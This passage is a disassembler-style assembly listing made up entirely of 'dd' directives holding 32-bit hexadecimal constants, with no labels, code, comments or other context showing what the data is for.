dd 0DD50CAE1h, 660FC402h, 0A8A8F158h, 7FDC6561h, 0EADE2049h
dd 0A0C66BE6h, 0A1A0D159h, 7303C8CAh, 6ACA8A14h, 2BC6AE0Dh
dd 0EBF1E8CFh, 0D58838F6h, 0BD9E03B8h, 6E63B958h, 0C0F88D23h
dd 0AEEF4CA7h, 89F762D7h, 0EC490608h, 0C1B5CD62h, 0F9E3C89Bh
dd 0A3F537FEh, 0B1EE69F9h, 60430ACCh, 5508EC92h, 9DD90F66h
dd 8C53EE4Ch, 7DB92EF6h, 0E6E09B3Bh, 0A1712BCCh, 565A06BEh
dd 68A9620Eh, 256736F1h, 0EBC21C85h, 434355AAh, 0D80F42E7h
dd 0E3E628EFh, 0C7E61FB4h, 0A64CAF6h, 9AF222h, 6575690Fh
dd 8DF0CF2Fh, 0CDEE5182h, 44DB79CFh, 0DD9CA738h, 948D5F6h
dd 498F0D1Fh, 0AB75067Ah, 485F9DF3h, 650CE922h, 628F0819h
dd 0E86D72B3h, 2D396029h, 0C9AB12E6h, 84CDF1Eh, 33D16AAh
dd 0E9CBFAFAh, 56D159AFh, 9DB2C40Ah, 0F1467B14h, 0AE42844Bh
dd 1DD94A63h, 9259D19Dh, 8AC5BC4Eh, 6A602E63h, 667F5450h
dd 0C2B1D6ADh, 886FB354h, 61421E39h, 21BED9AEh, 0D67E909Eh
dd 34D1E0CAh, 9FE3EAE8h, 7C408F4Dh, 741DBFCh, 1538FB3Ah
dd 480A4AC4h, 1AB6F9A0h, 424943CDh, 7B8B65B8h, 8088A52Fh
dd 0CB7D37F7h, 0C3AC096Dh, 0C8E55D7Bh, 5E1B9186h, 2A6246DAh
dd 3173B152h, 660F886h, 0BE0FE76h, 0BCD00406h, 46A87A8Bh
dd 247ED6F0h, 0FF274918h, 9C579ED3h, 0DAEAEF7Dh, 3C79A402h
dd 0FE6738CBh, 0BC419895h, 7959BF63h, 8F416EFAh, 7411EAE5h
dd 7EE67774h, 79312CB9h, 328073A4h, 0EB668C0Fh, 7AA9E37Eh
dd 18E2FB4Fh, 7F218164h, 0D4F8DCF9h, 0C117D7D8h, 155BACC0h
dd 0CA4FEC6Dh, 22F96382h, 46AA9B0Fh, 9CD00D9Eh, 0BD2D01DCh
dd 466532CEh, 74C8CDBDh, 7A110CCFh, 224FBB7Ch, 0B11D51CCh
dd 0F16B72h, 2BDE4575h, 7F53EEC3h, 65354CBCh, 8320D9F7h
dd 1638C7A7h, 1C8CCB5Ah, 0A35DBCCh, 68050227h, 7F97C9DEh
dd 594B7456h, 0FCFDC4A7h, 34A9FF97h, 99965645h, 545CBDE2h
dd 0B69B9B80h, 743270E1h, 6FB8B43Eh, 0DF08B917h, 0F2AC99A1h
dd 2AFF44F0h, 0A3689960h, 6F0BCD8Ah, 0A12DD66Bh, 68C1366Eh
dd 0B856EF7Fh, 323AEF3Ah, 723146BCh, 38EE9BF2h, 8695383Bh
dd 0AFCD667Ch, 0BDA76595h, 49C7C5DAh, 0F3D3F945h, 0E5C52EAFh
dd 0CC0AABC8h, 473D0F9Dh, 0DAE48CA5h, 0C325D697h, 0D5C608D0h
dd 914B249Dh, 0E0A8E9BFh, 1F6A51A9h, 51D8259Eh, 3A7050Fh
dd 8592A49Dh, 205A1138h, 0EF25D5C7h, 4AB13A7Fh, 5763B30Ch
dd 0F2054B21h, 0F98A437Ch, 5BB750BDh, 9F71ECEEh, 0A797A835h
dd 0AA09B34Fh, 2486D38Eh, 2DA1CA19h, 0B3768A96h, 0C12F23DCh
dd 2AC5B823h, 0B0B11011h, 83534272h, 0BC199D70h, 0A8A9CB30h
dd 0E1A59A78h, 14E8D860h, 948FEF28h, 58EB11A7h, 0CE17E433h
dd 0C937F29Ch, 9816C95Bh, 8CD8224Eh, 72071A9Eh, 0C5EAA526h
dd 802BA0A6h, 0E9484BD2h, 2CB20C81h, 31B3C48Fh, 2BF4BDC9h
dd 0CFEC58BEh, 5D9B317h, 0D287AAAFh, 9BD4D8A3h, 56174DFAh
dd 0E4985567h, 0C871B172h, 0DFB7914Fh, 7789D0C7h, 0D932F570h
dd 0E0B3CBEBh, 3CF4A0D8h, 0F157D878h, 78F53E76h, 0FDD0EA0Bh
dd 0EB7D56FEh, 0A7592FA4h, 0EF2C83F0h, 0A1F896EEh, 69C0820h
dd 0E5AD9F0Fh, 0A5AF6EDFh, 0E838B372h, 79246477h, 0FA001E51h
dd 9B12FBC1h, 38F1CF4Eh, 26EFECD8h, 4CEC8EFAh, 606C17B1h
dd 0C0FFA0B6h, 0C60D7315h, 726112EBh, 0EB1E30EEh, 5BDC70C3h
dd 0C3349C99h, 0D54D710h, 0B454EAB0h, 965E05DDh, 0A72D5EF9h
dd 45F91C6Bh, 77602A8Fh, 94F30511h, 0EF94E006h, 0F072280Dh
dd 25771CF8h, 56F5C78Fh, 74C086A4h, 43802E5Ch, 3D6BB4BFh
dd 85502671h, 7C0EE83Ch, 0C3A25AEDh, 3AC1B8D8h, 0C85E1E7Eh
dd 7A88A8D9h, 43FB6B15h, 0C71990D9h, 0EC711C36h, 0C05F8636h
dd 317AF22Ch, 8AD7053h, 643EC98Eh, 0FCF2973Dh, 36EE2B4Ch
dd 0E76DB5Bh, 4A5807C0h, 4F5A4650h, 0A744A029h, 12CD889Eh
dd 0C5A52F6Dh, 0B663F144h, 4127AD43h, 0D8F3417Dh, 0E304D53Ah
dd 4641A408h, 98B75CBDh, 4974097Eh, 0BF6CC2C6h, 0CA4C1273h
dd 4F4E6E39h, 7A12F894h, 0EBC179E3h, 5D5348C6h, 20D6DD92h
dd 0E7AD1636h, 152B38E3h, 156971D4h, 27D60C9Eh, 1D5A18D2h
dd 4D4AE910h, 8AB97F3Ah
dd 0C075C27Dh, 0A9C4D755h, 7630587h, 4E69159Fh, 0F5019186h
dd 956D51B1h, 0B956B079h, 40DF839Fh, 0FCEF4C66h, 1CB66A00h
dd 9F73E094h, 3295D734h, 0EE1675EFh, 0C6075BF1h, 0B92C550Ch
dd 5CCD1608h, 0A98BA91Eh, 465E6231h, 5769BC9Ah, 0C6A98730h
dd 28FFB099h, 97A1DA9Fh, 7B90A344h, 0B90492E6h, 8494412Ah
dd 0EE66D1A5h, 98F65815h, 167093A0h, 0AB24FA3Dh, 4D2C4604h
dd 90F9D1DAh, 7EE99533h, 0C793C4A0h, 12FB546Dh, 6E5CEA4Fh
dd 953F636Ah, 907CCC7Dh, 0BE7A14A8h, 86B46461h, 4922327Ch
dd 70D1E52h, 0CA973F28h, 0CE8B9B35h, 0DB2352B6h, 208E1731h
dd 2F8E25DFh, 0A8F74BE8h, 7FE90859h, 186F9557h, 0AE87833Dh
dd 78BF1474h, 4B48E7F8h, 4ACB1E88h, 3CE8F03Fh, 5153B5A6h
dd 0E212C25Eh, 5F8E51BDh, 0AF10DE5Dh, 3B5CDC2Bh, 4383D048h
dd 0B8D23AFCh, 41791F24h, 0C995238Bh, 6FCEB9D4h, 0D15C48C2h
dd 14A05D75h, 3C7981D3h, 0BA764F9Eh, 94B39091h, 30889FEDh
dd 11857520h, 0EFCD84EFh, 6DA2CAF5h, 0EDC2E401h, 53E97FBFh
dd 4046AD7Ch, 0F4C946Bh, 9C05B540h, 9179981Dh, 0EFFB6D4Ch
dd 0BC18B986h, 7CE4B1EBh, 64A1B93Bh, 0FD9C6010h, 0A6BCFB9Dh
dd 37A3A4A5h, 509B927Dh, 0B30068DAh, 59BA5F75h, 0DF18D95Eh
dd 66808815h, 0CAB1D291h, 0A0F59F42h, 0AE85A94Fh, 1FDA849Ah
dd 58F89F6Ah, 15D839AAh, 719F013Eh, 0AEB39CB0h, 0CAA52EA7h
dd 7B141535h, 3B3239F2h, 684F30B7h, 0E6A2CDB9h, 0C437D3DFh
dd 0FCCF333Ch, 0ADE6ECFBh, 12944EF3h, 0A927D293h, 37E4809Ch
dd 121F4134h, 0B509BF3Ah, 96CACBC9h, 1B0BD162h, 45423562h
dd 829682F2h, 44797C81h, 50135FFCh, 63499CADh, 8EB190CAh
dd 5B8CCDD3h, 2C55DFE8h, 0F73A7492h, 17B2481Dh, 6F711F56h
dd 0B9400B97h, 0FF4E23ABh, 0E49AB8DCh, 501B425Eh, 636AC3DFh
dd 0BAB15FEAh, 0A95A7392h, 3616CCAEh, 390F473h, 9D2C0BD9h
dd 73FC17B8h, 8716ABC6h, 4B955428h, 8681E069h, 0B261F690h
dd 21DA896Fh, 0AC0A06F3h, 0C9A16CE4h, 9BC538C4h, 9AB61E7Bh
dd 5010B8B9h, 0C109C7E2h, 340DF6C2h, 79446286h, 5598E0C8h
dd 97F2BE44h, 6EC63526h, 0AFE463A7h, 2D94928h, 7EB6B1FEh
dd 57B6D68Ah, 0D387138h, 9F05A62Bh, 71A70C26h, 27DB2C74h
dd 3319A52Ah, 30EBD644h, 0ECA05ADEh, 0B826A20Eh, 0B4E2F9B8h
dd 9BC77FDh, 1B1717C2h, 76970E04h, 43032B5h, 0B46CF694h
dd 4244913Fh, 0C5BAF139h, 0F93AB07Dh, 0BB68C99Bh, 0A1453AFCh
dd 9270EDE3h, 0F9DB3F57h, 7F6F88E5h, 0A520F779h, 5001A9D8h
dd 0D3FFEABFh, 9F4E7840h, 4CF405F0h, 0AB703928h, 46999D14h
dd 59B8C997h, 0BABFE939h, 818ABD3Fh, 8B010D00h, 6EA76886h
dd 7A7DD9D3h, 35C9A4B4h, 3AF77359h, 0C1E1B517h, 0F691A337h
dd 38013BD6h, 14D8D6AAh, 0D6870FE5h, 70C0AD8Ah, 9A9C6909h
dd 3B9F2794h, 373CCEC7h, 7745585Eh, 0CF7E1979h, 68C90DEEh
dd 0C4C9A14Fh, 8895BCB1h, 0BDBAC973h, 0C7ACD721h, 0F50023AAh
dd 7236ED1Dh, 491F1664h, 0B91F9DF7h, 0BC3CCA96h, 2D0283C0h
dd 2EF42D6Ah, 62FDEC5Bh, 0C9CC0231h, 35DF7E7Dh, 0C991FEB8h
dd 0E5E84E68h, 95AEFA1Bh, 0A8F4E40Ch, 85EE0AB8h, 0F3319469h
dd 0DD1145C7h, 0CADDF3Ah, 0E3EE85BFh, 788BC207h, 79EF4EB2h
dd 0BD876CDAh, 8182A2E2h, 0BAE93305h, 4B9D5237h, 0DABEF6F9h
dd 0A3631A67h, 2147C926h, 0D0C53F3Bh, 65A1256Dh, 0D2C17D01h
dd 0F2426112h, 2C1BB166h, 817F4FF7h, 23E3BFB8h, 7D0CB5E8h
dd 69C9D561h, 2887E3C7h, 277D4120h, 1D9EA0ABh, 719FF4D5h
dd 90391045h, 85EB99E5h, 49F73923h, 0BB791357h, 8CFACA70h
dd 3AB7EA36h, 6855FBB2h, 0D51189ABh, 0D08E917Eh, 0D7AA79C4h
dd 0EA251B5Ah, 62021B22h, 0FEB60D84h, 64A9E3AFh, 6630EF49h
dd 4B6CA95Bh, 0E11DC33Ch, 6BBD285Ah, 808041E2h, 44DD3875h
dd 1AB17C76h, 0F157BA02h, 243B559Ch, 0EED4BE39h, 9C20027Ch
dd 0C8546EB5h, 31CBDD8h, 6BEFE617h, 796EA08Bh, 25515B6Eh
dd 1FAC7933h, 0AFDE2216h, 842AFEC2h, 0B13D57F5h, 36B7E5C2h
dd 88D0F8Bh, 6CB059Eh, 3993CADEh, 0DB368EEEh, 7A0CF44Eh
dd 0BC2DD1C7h, 37B14F61h, 0E0987D2Ch, 30A7DBF8h, 2250CDEAh
dd 6C047741h, 0DFF6753Ch, 0D5BB1506h, 0E1F8A41Ah, 16BFEEEDh
dd 7CCC4484h, 0C97AD58h, 7C8A2301h, 0EA26151Fh, 0B100E3EAh
dd 0DEFBCE47h, 0D339ED11h, 8839B8A4h, 0D41C2A77h, 0DCA0E5A1h
dd 90007BE8h, 81FF9E16h, 0E3A46C7Eh, 917CBC0Ch, 7C314DFEh
dd 3FF98FC8h, 4D0D7853h, 0EBBDEA6Ah, 0F2142B7Dh, 0D586CD5Dh
dd 0F60800F7h, 14383002h, 36266AB2h, 0A9E6ECC3h, 0AF8017A3h
dd 955F8F88h, 4A1F7959h, 0EA39E15Ch, 631297D9h, 6A945722h
dd 926990C7h, 87EE4A2Ah, 0EF7CA23h, 8DC7D624h, 0B51FAD01h
dd 4066330Eh, 3036B9B3h, 0DCB2EC17h, 5DD60CD9h, 0CFAAEE1Eh
dd 2BCF5DD2h, 8FE4C486h, 16ED739Fh, 3C9FD9FCh, 8CD3F007h
dd 0D2B19E4Ah, 0C713E521h, 0B0A24867h, 1F5E39BCh, 1F7755CEh
dd 0FAC99FBCh, 0B33357A4h, 516E115h, 0BB3714D8h, 0F6EF3364h
dd 0D517E77Ah, 0F54E0A45h, 78F4A406h, 5695AE01h, 18C206Fh
dd 81CDE684h, 8CB31C52h, 697EECD8h, 5A7E9B8Bh, 0EAAE2D39h
dd 11BFED0Bh, 6724BBD4h, 65A9179Ah, 674E46A9h, 1DD2D65Bh
dd 4D3E7B05h, 0A8828E0Dh, 0FFBDA03Eh, 335FB17Fh, 2C389E04h
dd 9385C2Dh, 0FAF59400h, 32F3F08Ch, 8EA7D55Fh, 0FE0122FAh
dd 0CE127D58h, 1C575947h, 6F10C4CBh, 568932Dh, 5E9095BBh
dd 8A6447D6h, 77D3DAC5h, 793F16FDh, 0ED90E3Ah, 32D56565h
dd 0A69D79FCh, 4A16432Ah, 0DDA140B6h, 54F7E118h, 0CD169E4Dh
dd 0CC0263DDh, 0E47B5ED4h, 2F696BEAh, 0D81C74D6h, 48DF6F03h
dd 8419D69Fh, 0B681282Fh, 0FBC548BEh, 86B1B61Ch, 0B12FC73Dh
dd 0D3045636h, 0F6EC4671h, 38783D86h, 0A0640D45h, 0F10B2F88h
dd 0DFF09F0Ch, 0C1CBC16Bh, 0CDFE800Ah, 0D3FEAC0Eh, 40C3CDA1h
dd 400759A4h, 2E41231Ch, 5E2ABBBDh, 6871189Fh, 34173556h
dd 736BD1ABh, 2CA06589h, 80D98A35h, 0BB133669h, 515E0481h
dd 35EF0CE7h, 0A29BFC9Eh, 0DB5BBE5Bh, 0D3AB31ABh, 8A39EF0Eh
dd 2FAC325Bh, 0A863F9BEh, 3898D979h, 0B744EEBEh, 79D8985Bh
dd 932F2341h, 0BB20992Eh, 4B7DCE60h, 23A02962h, 9517AD14h
dd 2EF297BEh, 0F781A7BDh, 5359CC3h, 1D8FE14Ah, 2C869A64h
dd 755974Fh, 1CC5818Ch, 0CED0DF0Bh, 0CC7BB7B0h, 0CF3E9C9h
dd 0A18F087Ah, 714D5675h, 5B234842h, 1A1D5BD6h, 0D5E70613h
dd 83C34A20h, 0B65FC92Eh, 0B93E477Bh, 20631B6Bh, 92906CDEh
dd 5DFCC4D3h, 84E455AEh, 4FD51E95h, 94DEAE85h, 0A2D5861Fh
dd 249DBB2Eh, 45B57D6Ah, 254279E3h, 7C369AA1h, 0DEBA74F1h
dd 4DB6C108h, 0D8FF4359h, 0C7C121E4h, 0D233C264h, 0A57DA828h
dd 3CA63CCDh, 6A59FDE4h, 19183F5Fh, 3F374DACh, 0FA765F61h
dd 8F9A8170h, 0D85CB9ADh, 48095C66h, 9A617E85h, 0F94E5352h
dd 26F49E62h, 0E74585B9h, 40A3D04Fh, 0AB91CB9Dh, 0AD9DB41h
dd 1EDFAB86h, 0F80BF128h, 94802850h, 0B7A750D8h, 0A750E831h
dd 96D11392h, 97639496h, 0DFEFF75Eh, 118DC2BCh, 0B2C66037h
dd 0AA06837Fh, 8EC1F570h, 5A570DF9h, 0E6BCC6C2h, 0CADBAB03h
dd 14C2525Bh, 0F31EA217h, 943C1DBAh, 596A20B8h, 6D4EB34Bh
dd 1479E44Fh, 87AC4772h
dd 152FA203h, 618B322Ah, 69096449h, 0F53EAEDBh, 47CE74FBh
dd 0A9E8E9E0h, 9071FC3h, 0CAE04189h, 0A0332A52h, 0CD8E2E3Dh
dd 0D95BC911h, 0E6C91FA3h, 958BE424h, 0A90CA22h, 0DF73918Ch
dd 78C7B6E4h, 2F58E0B2h, 513D7F84h, 10361705h, 209FC816h
dd 0F68AB0F3h, 0E9A8BD16h, 3F5B6E98h, 0C37E8B69h, 0BB078150h
dd 63F262D1h, 81814DC3h, 31C52BC2h, 7296AE57h, 6C7B4551h
dd 0AC231851h, 3E201D73h, 36AD8477h, 0E32378ABh, 0AFC9C77Bh
dd 162DCBD8h, 0EEF48C26h, 0B9EA3306h, 4967199Eh, 4DB1741Ch
dd 0DE0D11CAh, 4928607Eh, 44904DC3h, 59346C31h, 1A9E72D1h
dd 0E1CDC30h, 0B862D57Ch, 973D39BCh, 0EE52A3D9h, 3950BA82h
dd 0DBC2F69Bh, 3491BB16h, 11AF7AB8h, 71831EC4h, 7A58DC7Ch
dd 0ECA68202h, 152BDB50h, 0FDB892E7h, 4DE0D075h, 0EE25CD0Bh
dd 7375B4F7h, 8790F2Eh, 7DA58807h, 48850D15h, 7CEE72E6h
dd 0B828BC7Eh, 0EEE10F8Dh, 2EAD2E67h, 913EF666h, 2F089B1Dh
dd 8A73F451h, 0E7642A60h, 5C059468h, 7A145DA7h, 1FCEAA94h
dd 0A59578ABh, 0CED9C604h, 12AF4220h, 0BA1468E9h, 67A5033Eh
dd 12026E5Ch, 0A62CA6C6h, 5A9640C4h, 2FF799CEh, 14B51136h
dd 4B6E44E8h, 0DCF06B2Bh, 64DBCB4Fh, 2DD8A7D3h, 6BE72DB1h
dd 0D37292C6h, 3135A277h, 923ECADBh, 1EEBDE43h, 6BC43C25h
dd 0D3FCBA88h, 0F47A49FEh, 0A029026Dh, 86AEAD36h, 33365BCFh
dd 49F72E54h, 0FC4B9D98h, 359C1A04h, 8A61E222h, 0A33D07D4h
dd 0C1D41A40h, 78514E1Dh, 14B3BBBFh, 90D2E9C7h, 70C2D19Eh
dd 68FB734Eh, 683E28C1h, 0ACB6658Dh, 0F46C2EFDh, 9394E30Bh
dd 253C530Fh, 0BFA74A31h, 0ECDEF70Ah, 0B1BFB8h, 7A8706E9h
dd 0DC957ACCh, 0F2924A6Ch, 3DD2DA69h, 0BA36E666h, 0B8E15626h
dd 65C44CC5h, 0A3344BF0h, 45E6CF4Ah, 753A0C23h, 0EAB6B863h
dd 905976C4h, 0C7579C00h, 93569B8Bh, 0DB5AB730h, 0C8B4509Fh
dd 24E9FF24h, 0EFC23EF5h, 59BF814Ah, 2554898Fh, 0C034943Bh
dd 81576204h, 6E3F678Bh, 3449EE2Fh, 0CCD7C502h, 5948C7F1h
dd 0D90D4A76h, 0CBE4EE2Ah, 0CEF5F20Dh, 0A17B9C7Ah, 253A7CE3h
dd 0A39BA122h, 309B241Fh, 98AED8B8h, 885F02B3h, 8FDE8437h
dd 826F5D47h, 2D28A42Bh, 0B5443398h, 4444F63Bh, 0CA5A4424h
dd 0FCEC78DFh, 1FD1FB52h, 0EC408B7Dh, 0D6D25B23h, 64DB1716h
dd 59E14605h, 0EAF9C49Ch, 12D4154Fh, 0C6BC836h, 2C7AB19Eh
dd 0EE1A1BA2h, 0BD6E0310h, 73168FFh, 0B471EA6h, 0D00D7549h
dd 5B4110F0h, 718F169Ch, 4EF49229h, 4FCFEAABh, 4A1AF4A0h
dd 2175C372h, 0D115A1Ah, 0ABE5D663h, 704B3F7Ch, 0E5330879h
dd 3B37BC97h, 0D9501152h, 10D2B5D0h, 5E882A3Fh, 465BBB9Ch
dd 0E3331A9Ch, 0E3855AF5h, 4EF7A9E1h, 0F89BAAE8h, 0F6601A41h
dd 6041536Eh, 9D2D57E5h, 0E4DF43Dh, 8FBFA624h, 0A99711C9h
dd 0AFEC70BFh, 2FBAD8ADh, 0B988126h, 0F9CB5Ah, 0DF8C4062h
dd 4F5ACF4Ch, 0E4B532F4h, 2222A370h, 0EE48967Fh, 96D151E7h
dd 78E50865h, 2691BF08h, 0F2F0099Fh, 4AFAA243h, 0F99DE0D9h
dd 800756BCh, 8F5CD4E1h, 0C6D4A5C8h, 0B70FBD83h, 0A75F6CB3h
dd 9903E4C0h, 141B141Ch, 0AE54EF60h, 0EB8FF6BCh, 6D893AC1h
dd 0C9B6E297h, 0FAA39597h, 1ACD9473h, 0F3FC1858h, 317B8B09h
dd 0D4238855h, 0E7354336h, 317A3617h, 599DC9DCh, 58A69742h
dd 1D1B61C2h, 85B99683h, 0CDA389FDh, 0F0A9DFA6h, 4F8AF6C1h
dd 79FE8F9Ch, 0C0FF9DADh, 0BCDCC4AEh, 0AC91D8CDh, 0F2DA44DCh
dd 86AA495Ch, 2225596Bh, 0D22D25A4h, 0F652D8F2h, 44332A62h
dd 33ED35EFh, 7D146822h, 0CC45FDCDh, 5388B079h, 0BFEB5FCDh
dd 307AAF25h, 0B3B13853h, 5B9FF646h, 9AADBF04h, 0FC36B9B0h
dd 0A25D409Ah, 976C652Fh, 41D73EEEh, 23BEA68Fh, 0D699459Fh
dd 7303B134h, 443222F9h, 718514E9h, 58CCE63h, 311ABD59h
dd 0AA80C3DAh, 30D23E3Eh, 0AB0947C7h, 4C1FF91Dh, 9A28D34Dh
dd 267205B6h, 0E9F1E881h, 0AF88E82Fh, 0E629DE17h, 18F1E5BEh
dd 84670B1Eh, 0FE24A362h, 0EF0EF681h, 7C50165Bh, 5BF3C913h
dd 0B99766Ch, 0A302440Ah, 0A006691Eh, 8590A776h, 0ED3D3137h
dd 0C82B934Fh, 0DC335DC2h, 7D516AACh, 0F619FE4Eh, 49027767h
dd 0D7CBC569h, 0F4781EF2h, 54FAA6CCh, 55E43769h, 6097EE6Ch
dd 331624EEh, 0D198CF87h, 0B9BD2B66h, 4009115Ch, 0E9E60FE3h
dd 0B4D18696h, 0E5D3BD7Ah, 8CDC043Bh, 2D08461Dh, 6A4A23F4h
dd 86C79F78h, 0F12B18BEh, 46F773BFh, 0FC49568Ch, 85BC6D6Ch
dd 134B89EDh, 1BDFCC14h, 3DE7273Dh, 0B7ED2470h, 0A4311003h
dd 63E5B7h, 0F42A48D2h, 0DF12761Fh, 1714FF40h, 0A4B6E41Ch
dd 174B56D2h, 6BDF2D8h, 69F91058h, 183CCC63h, 7E34C15Dh
dd 0E9144CEFh, 583CBC84h, 0D9BD2C11h, 22C0A72h, 0FA482D37h
dd 0B3552FC2h, 0C73F7AD1h, 81CFB9C1h, 31514B43h, 2FF25980h
dd 0C2672A7Ah, 0E380550Dh, 62EEF781h, 6C21E8ABh, 18051E6h
dd 0CD14C506h, 5D05DCE5h, 2E03176Eh, 3E942F9Dh, 6D5569CDh
dd 3EF04A5Ah, 0A453AE8Eh, 8CDB157h, 0E7948D78h, 0DFF1D737h
dd 0B4BD5FA8h, 1740BA95h, 8B08C816h, 0F48C6471h, 27E6B567h
dd 0C8E1B9C1h, 0F8165B94h, 0F7119F5Ah, 7CC20EA1h, 654FE360h
dd 0AEA65D57h, 339D58DBh, 0A2BF9CB3h, 31DD902Bh, 9F72882Dh
dd 0AB8DF76Eh, 89D8F345h, 7E9F2663h, 0E8474363h, 0B56341F0h
dd 0B0A4F15Fh, 4A02867Fh, 0AB1E4A86h, 0F119F48h, 858CD9D8h
dd 57B70F1h, 5F4247E7h, 0BADFC8C1h, 9123CC59h, 0FC2CAE0Dh
dd 2898A45Dh, 98A19389h, 0A022D7D8h, 9D70A889h, 67A59DB8h
dd 0E76E834Ch, 0C6A3B42Eh, 4E3CFD73h, 68A660F6h, 0FD3B68B2h
dd 8AF56086h, 2DB0A4CBh, 8F006502h, 0ABC24971h, 42490212h
dd 0C1F97553h, 0CFB160E4h, 0DB2BB367h, 0AC7F3B64h, 0D6E4177h
dd 0D12199BFh, 3E5658D6h, 94FEADE8h, 0D6112C29h, 0FE98A8BBh
dd 0D6178401h, 4BC36E32h, 0AB5DC669h, 658A3B44h, 659F2665h
dd 4FC96056h, 0B774A2A2h, 9DAF5CDBh, 0C8FFAD9Eh, 0A5CB3128h
dd 4532E58Dh, 0F9C46E72h, 494BCDCEh, 0FF7E1C6Bh, 0CB7A1ACDh
dd 6215AE75h, 0C68E8BD5h, 0BD7FF170h, 0E50B375Ch, 5EF1074Ch
dd 92C86C18h, 491F4C32h, 44EFAF2Ah, 0DB49B575h, 0CF371BD3h
dd 9A11273Bh, 0E07ADA12h, 37684315h, 2BA2952Ah, 960A0FD1h
dd 0C2B0EF14h, 0E4B0FF02h, 55F20941h, 607ABD6Eh, 34EAFECEh
dd 0AA6D207Ch, 958E2ACBh, 0E592652Dh, 0A66D76F7h, 150C1D1Eh
dd 454B01BEh, 7FA553F2h, 0AE358926h, 55FAD5F4h, 802402C8h
dd 0E26F45D0h, 0AAE72D7Bh, 0A96058C9h, 0E3C352A2h, 85A19B75h
dd 0D7E497D1h, 8232B00Fh, 4C30900Bh, 95F41873h, 58E98D54h
dd 0FAEBBE8Ch, 206E17B1h, 31D84EDDh, 0B3ACD4FFh, 40743A4Dh
dd 4B33E064h, 365A7C1h, 8B64D335h, 0FB281EFBh, 4C0E7D47h
dd 0E203D746h, 0C113818Ch, 62416A05h, 0D9B14ED8h, 0DA922CB0h
dd 64D9A8E3h, 903CF38Dh, 5CCFB837h, 7F28D151h, 2D0861F8h
dd 3B13360Ch, 7C439719h, 5CFE541Fh, 0DC7A6981h, 424305A3h
dd 0D7B34280h, 0FDC56AEBh, 94E5676Fh, 6D46476Bh, 0C93D2528h
dd 3DF213B5h, 678282ACh, 0D2EA3A4Eh, 2064F2BAh, 6B52D7B8h
dd 0D0482F14h, 85254AD9h, 8970CA74h, 430A3808h, 553A147Fh
dd 8959194Eh, 680FD40Fh, 0E0B5F743h, 4F483891h, 47BE0B34h
dd 0B83AB45Ch, 9ACE5DAAh
dd 0D2AE24D5h, 0FF98C2B3h, 924D7904h, 6FBB7156h, 7FE6F3D1h
dd 56BE10C4h, 0B41DEB79h, 2A253C18h, 608253EBh, 0F3060B25h
dd 84BC310Dh, 0FE995DC0h, 0BB5516FDh, 0B3BB8F42h, 27798786h
dd 5F7D64BEh, 0DBD73175h, 0F49503Ah, 0EEEDB6BDh, 0B7381567h
dd 6DC6BA6Bh, 9397064Ah, 78480BF6h, 0BDA98042h, 6D7FC045h
dd 12F56CCCh, 78021E7Bh, 42F6A3BAh, 0A88A0D3Eh, 0F638A9E6h
dd 0F9DF8DE9h, 855B9311h, 0EEDE3E15h, 7DDB01B0h, 0DC65E5B0h
dd 0AAC1D844h, 7C20852Eh, 5F720EAAh, 0FFB570F9h, 8E95DC31h
dd 0E6197528h, 0A6507978h, 7B10E3BEh, 0DB060FA3h, 58BD15EAh
dd 0C506EAD8h, 0FB2AA5Ah, 0F4098E1Ch, 6361E8EAh, 6D70318Fh
dd 2A39A596h, 9CBC84C1h, 0F551BF0Dh, 0B6CE0E0Bh, 9FA2C993h
dd 17C5D610h, 0D6817406h, 0C3A8DE0Ch, 0E36EDCDFh, 0AC176AF9h
dd 9002263Fh, 9F9D811Bh, 9915A33Ah, 0E56EE22Fh, 4754F70Ah
dd 0AD905C47h, 0E8331012h, 5D37BA06h, 2F91DB6Fh, 78F0409Eh
dd 0DD3CC175h, 90EAAC01h, 8753A738h, 5B927B9Dh, 8483D55Fh
dd 9FACE8BEh, 37A16769h, 0E1646D23h, 4434D8B6h, 6B287EAEh
dd 9DF94859h, 0F0BA72A8h, 28045695h, 0D156ED58h, 0D57C06D0h
dd 6084DBE3h, 7A98D21Dh, 542E05A6h, 0A83417D0h, 0A8AFE84Dh
dd 955C4B13h, 0BF226689h, 0DB9CF9C1h, 0C40EEDDFh, 989E48DCh
dd 0D6BEA70Ch, 0D862DD31h, 0F3FAFE4Ch, 632EDF5Ah, 5F0D3B03h
dd 4E187CEDh, 491BE6E8h, 0D4DCE60Ch, 8082F201h, 21977BCFh
dd 0A37E7D47h, 9A3D3FE9h, 41E61150h, 445ECB4Ch, 0C54F73E4h
dd 0E7FB08A6h, 4B7A6ACh, 675DC2ABh, 4BA02ADEh, 0C8B42E3Ah
dd 0D47F0C21h, 0CCA13AB6h, 2B6DFE5Eh, 0DBEB4186h, 0B31318BEh
dd 0D71E629h, 71273D06h, 519E2A4Eh, 9199A59Ah, 34C56D7h
dd 234AED48h, 8FD60BB3h, 0A37A0D77h, 5727AE00h, 74600A83h
dd 0D02838F4h, 0E5EE5F57h, 0EDFA3FD7h, 38598CFAh, 915456D9h
dd 6974073h, 5A976B91h, 0D63DB943h, 318AC288h, 2DF1CA04h
dd 0EF495B38h, 0DAF01F3Dh, 0B9389387h, 0B586D007h, 33E2F399h
dd 4BA85D9Dh, 6D94A9DDh, 0CA877FEFh, 8649CEC8h, 0B677975h
dd 7F24F318h, 2922BB85h, 0C419AC76h, 78762604h, 47526670h
dd 913B1DAh, 0CE2E67Ch, 9891DCE5h, 197BECF2h, 0B9B1F85Bh
dd 0F09F5B52h, 0BD07144Ch, 22B8738Ah, 0C96AE713h, 0DEBD1447h
dd 0AC0FD692h, 42039E29h, 0EB27F39Ah, 22613E54h, 6CFA091Dh
dd 0C2C0BEFEh, 1B5ACC8Eh, 6F99E276h, 0BBF2328Ch, 9185FA79h
dd 0A9BEFA1Ah, 5698D126h, 271642B7h, 0ABEB3FB5h, 61E70BD1h
dd 13D4FE4Fh, 11A6999Fh, 0B4C79B9Fh, 0CBC03890h, 6ABA2B94h
dd 2B8F449Ch, 2ADC594h, 80F7D04h, 6CC5BDF5h, 0F9339919h
dd 0E88DFB6h, 3B919E5Eh, 19DC44FDh, 51E7728Dh, 0E2C9F8E6h
dd 0E4BAA9F2h, 0EDFE9C4Ch, 0D26382CEh, 0A0167E51h, 2FD6781Ah
dd 12497F63h, 9929BCC9h, 9772B0E5h, 0EC24C9BFh, 0B57FFD82h
dd 9ED9D06Fh, 9197EE4Ah, 128B4071h, 368E3CFCh, 9DD08F7Fh
dd 0FA68AB82h, 0CCF11C77h, 8830BAD3h, 57170261h, 0E7E3645h
